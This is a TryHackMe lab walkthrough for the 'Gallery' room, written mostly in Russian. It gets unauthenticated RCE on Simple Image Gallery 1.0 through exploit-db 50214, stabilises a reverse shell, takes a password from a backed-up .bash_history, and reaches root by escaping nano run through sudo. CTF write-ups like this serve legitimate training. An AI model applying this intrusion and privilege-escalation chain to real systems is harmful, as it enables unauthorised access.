📝 TryHackMe. Walkthrough: Gallery
Task 1.
How many ports are open?
$ nmap -A 10.10.240.133
PORT STATE SERVICE VERSION
80/tcp open http Apache httpd 2.4.29 ((Ubuntu))
8080/tcp open http Apache httpd 2.4.29 ((Ubuntu))
Ответ: *
What’s the name of the CMS?
На :8080
порту находится галерея. Там и название.
Ответ: S****e ****e *****ry
What’s the hash password of the admin user?
$ searchsploit Simple Image Gallery
---------------------------------------------------------------------------------- ---------------------------------
Exploit Title | Path
---------------------------------------------------------------------------------- ---------------------------------
Joomla Plugin Simple Image Gallery Extended (SIGE) 3.5.3 - Multiple Vulnerabiliti | php/webapps/49064.txt
Joomla! Component Kubik-Rubik Simple Image Gallery Extended (SIGE) 3.2.3 - Cross- | php/webapps/44104.txt
Simple Image Gallery 1.0 - Remote Code Execution (RCE) (Unauthenticated) | php/webapps/50214.py
Simple Image Gallery System 1.0 - 'id' SQL Injection | php/webapps/50198.txt
---------------------------------------------------------------------------------- ---------------------------------
$ searchsploit -m 50214
Exploit: Simple Image Gallery 1.0 - Remote Code Execution (RCE) (Unauthenticated)
URL: https://www.exploit-db.com/exploits/50214
Path: /usr/local/opt/exploitdb/share/exploitdb/exploits/php/webapps/50214.py
File Type: Python script text executable, Unicode text, UTF-8 text, with very long lines (816)
Запускаем эксплоит, вызываем реверс шелл и стабилизируем его:
python3 -c 'import pty;pty.spawn("/bin/bash")'
export TERM=xterm
press CTRL+Z to background the shell and also run the command on attacker machine
stty raw -echo ; fg
reset
[ This commands will give us a fully functional shell ]
Находим файл с доступами от базы данных.
Далее загружаем adminer.php
для удобного подключения (либо можно использовать терминал) и находим таблицу users
.
Ответ: ****************79***be5********
What’s the user flag?
Исследуя файловую систему, находим бекап домашней директории пользователя mike
. В файле .bash_history
находим пароль. Пробуем авторизоваться под пользователем.
После того как мы вошли под пользователем mike
нам остается только зайти в директорию /home/mike/
и прочитать файл с флагом.
Task 2.
What’s the root flag?
Смотрим что у нас в sudo
.
mike@gallery:/$ sudo --list
User mike may run the following commands on gallery:
(root) NOPASSWD: /bin/bash /opt/rootkit.sh
Посмотрим в rootkit.sh
.
mike@gallery:/$ cat /opt/rootkit.sh
cat /opt/rootkit.sh
#!/bin/bash
read -e -p "Would you like to versioncheck, update, list or read the report ? " ans;
# Execute your choice
case $ans in
versioncheck)
/usr/bin/rkhunter --versioncheck ;;
update)
/usr/bin/rkhunter --update;;
list)
/usr/bin/rkhunter --list;;
read)
/bin/nano /root/report.txt;;
*)
exit;;
esac
Запускам sudo /bin/bash /opt/rootkit.sh
выбираем опцию read
и выбираемся из nano
в шелл:
^R^X
reset; sh 1>&0 2>&0
Ответ: T*M{************3adfa6b8b************de87}